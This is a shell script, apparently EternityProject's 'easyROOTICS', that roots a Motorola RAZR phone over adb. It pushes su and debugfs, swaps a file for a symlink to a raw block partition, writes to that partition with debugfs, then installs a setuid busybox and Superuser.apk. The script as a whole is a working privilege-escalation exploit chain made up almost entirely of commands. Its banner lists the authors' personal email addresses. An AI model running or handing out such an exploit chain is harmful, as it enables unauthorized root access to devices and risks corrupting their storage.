echo #################################################
echo #     EternityProject's easyROOTICS		#
echo #         for Motorola RAZR          	    	#
echo #                                    	    	#
echo #                                    	    	#
echo #   By pedrotorresfilho and kholk    	    	#
echo #      Exploit binary by miloj       	    	#
echo #                                    	    	#
echo # If you wanna support us donate to: 	    	#
echo #     kholk -- kholk00@alice.it      	    	#
echo #  pedrotorresfilho -- pedrofilho@msn.com       #   
echo #                                    	    	#
echo #      or come on our Website!                 	#
echo #    http://www.eternityproject.eu   	    	#
echo #                                    	    	#
echo #          Happy Rooting!            	    	#
echo #################################################
sleep 5
echo "Setting permissions..."
chmod 777 adb.linux

echo ----------------------------------------------
echo ---   Please, connect your Motorola RAZR   ---
echo --- and make sure that ./adb.linux mode is enabled ---
echo ---           prior continuing.            ---
echo ----------------------------------------------
sleep 5
echo .
echo "[Step 1] Rooting..."

./adb.linux wait-for-device
./adb.linux push su /data/local/12m/
./adb.linux push debugfs /data/local/12m/
./adb.linux push cmds /data/local/12m/
./adb.linux shell chmod 777 /data/local/12m/debugfs
./adb.linux shell chmod 777 /data/local/12m/su
./adb.linux shell chmod 777 /data/local/12m/cmds
./adb.linux shell mv /data/local/12m/batch /data/local/12m/batch.bak
./adb.linux shell ln -s /dev/block/mmcblk1p20 /data/local/12m/batch
./adb.linux reboot

clear
echo "Rebooting [1/3]..."
echo .
echo .
echo .

./adb.linux wait-for-device 
./adb.linux shell rm /data/local/12m/batch
./adb.linux shell mv /data/local/12m/batch.bak /data/local/12m/batch

echo "[Step 2] Knocking at the door..."
./adb.linux shell /data/local/12m/debugfs -w /dev/block/mmcblk1p20 -f /data/local/12m/cmds

clear
echo "Rebooting [2/3]..."
echo .
echo .
echo .

./adb.linux reboot
./adb.linux wait-for-device
./adb.linux shell sync

echo "[step 3] Hello, system!"

./adb.linux shell rm /data/local/12m/su
./adb.linux shell rm /data/local/12m/debugfs

clear
echo "Rebooting [3/3]..."
echo .
echo .
echo .

./adb.linux reboot

echo "[step 4] Finishing!"

./adb.linux wait-for-device
./adb.linux shell "su --command 'mount -o remount,rw /dev/block/system /system'"
./adb.linux shell "su --command 'ln -s /system/bin/su /system/xbin/su'"
./adb.linux push busybox /data/local/tmp/
./adb.linux shell "su --command 'cp /data/local/tmp/busybox /system/xbin/'"
./adb.linux shell "su --command 'chown root.shell /system/xbin/busybox'"
./adb.linux shell "su --command 'chmod 04755 /system/xbin/busybox'"
./adb.linux shell "su --command '/system/xbin/busybox --install -s /system/xbin'"
./adb.linux install Superuser.apk

clear
echo #################################################
echo #     EternityProject's easyROOTICS		#
echo #         for Motorola RAZR          	    	#
echo #                                    	    	#
echo #                                    	    	#
echo #   By pedrotorresfilho and kholk    	    	#
echo #      Exploit binary by miloj       	    	#
echo #                                    	    	#
echo # If you wanna support us donate to: 	    	#
echo #     kholk -- kholk00@alice.it      	    	#
echo #  pedrotorresfilho -- pedrofilho@msn.com       #   
echo #                                    	    	#
echo #      or come on our Website!                 	#
echo #    http://www.eternityproject.eu   	    	#
echo #                                    	    	#
echo #          Happy Rooting!            	    	#
echo #################################################
echo Your phone is now rooted.
echo Enjoy!
sleep 7